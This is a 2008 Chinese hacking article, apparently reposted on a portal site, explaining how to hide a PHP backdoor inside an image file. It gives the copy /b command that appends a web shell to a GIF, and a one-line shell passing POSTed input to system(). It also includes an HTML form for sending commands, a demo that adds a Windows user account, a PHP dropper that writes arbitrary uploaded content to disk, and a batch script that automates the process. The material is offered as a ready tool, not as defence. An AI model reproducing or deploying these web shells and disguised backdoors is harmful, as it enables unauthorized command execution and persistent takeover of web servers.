攻击方法:脚本后门注入图片新方法

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

C:\copy 1.gif+2.php 3.gif

上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件(安全模式关闭),代码如下:

<?$cmd=$_POST['cmd'];@system ($cmd);?

然后在一个wfw.php中加上这么一句:

<?include("3.gif");?

/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数,那么,系统会自动认为这两个文件都是文本文件,而文本文件通常是1A作为结束标志的,所以系统会在拼接两个文本文件时把前一个文本文件1A后(包括1A)的字符全部去除,以保证新生成文件的正常。这样也就解释了为什么我直接用copy命令生成的图片会不可见,因为只要其中有1A字符存在,后面的字符都会被去除。

懂了这些,后面的就一帆风顺了。建立一个本地提交POST参数的html表单:

<html

<head

<title图片隐藏脚本后门程序客户端</title

</head

<body

<center<font size=3 color=#555555 class=fonts<b图片隐藏脚本后门程序客户端</b</font<brBy 我非我<br(命令执行功能)<br<br<br

<form method="post" action="http://localhost/wfw.php" enctype="multipart/form-data"

<input type='text' name="cmd" value="" size=20

<input type=submit name="submit" value="执行"

<br<br〖输入系统命令或程序,执行程序请输具体的路径〗

</form

</center

</body

</html

以上的action中由于我是本地测试,所以填的是localhost,具体用时,要改为那个插入include的文件的URL。

打开那个表单,在命令中我输入:

net user wfw /add

于是页面就跳转到了wfw.php上,出乎我意料的是:图片是完全显示出来了,但本应显示的命令应答却没有显示。于是我查看了一下我的机器,看是否命令完成:

C:net user

结果是成功了。

小结:经过一段时间的探索和努力,终于成功完成了这个方法,是不是很简单?不需要再下载图片用臭要饭的那个程序加工然后再上传。完全可以轻轻松松在Webshell中搞定。插入的脚本可以不是我那个脚本(太简陋了,又没回显,不知为何,希望有牛人可以帮我搞定),可以是这样的:把POST的数据直接保存为另一个phpshell(或是aspshell)当然也可以自定义咯~~(最好插入前先加个密)

下面是一个php的脚本,在图片位置生成一个自定义文件,表单方面我就不写了,把上面的表单稍微改改就好了:

<?

if ($_POST['create'])

{

if (!is_writeable(str_replace('\','/',dirname(__FILE__)))) {

exit;

} else {

if (file_exists($_POST['filename'])) {

exit;

} else {

$fp=@fopen("".$_POST['filename']."","wb");

$content = $_POST['filedate'];

$fw=@fwrite($fp,$content);

@fclose($fp);

}

}

?

因为是利用cmd命令执行,所以我就顺便写一个批处理,作用和要饭的那个程序一样。其实没什么意思,只是为了大家记住我这个人罢了。若是不想那么麻烦用批处理程序,直接输入:start下goto end上的语句就可以了。

@echo off

echo.

echo **********************************

echo 脚本后门注入图片程序 By 我非我

echo mail:wofeiwo1987@yahoo.com.cn

echo QQ:309088292

echo **********************************

echo Usage:%0 ^<图片文件^ ^<脚本文件^ ^<生成文件^

echo Eg:%0 1.gif 2.php 3.gif

echo.

if '%1'=='' goto err

if '%2'=='' goto err

if '%3'=='' goto err

:start

echo 开始.......

copy /b %1+%2 %3

if not %ERRORLEVEL%==0 goto err

echo 图片生成成功!

goto end

:err

echo 图片生成失败,请检查各参数是否正确!

:end

echo.

ps:另外,我注意到,图片不一定非要是gif文件,也可以是.bmp.png.jpg等格式,效果同样哦!

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航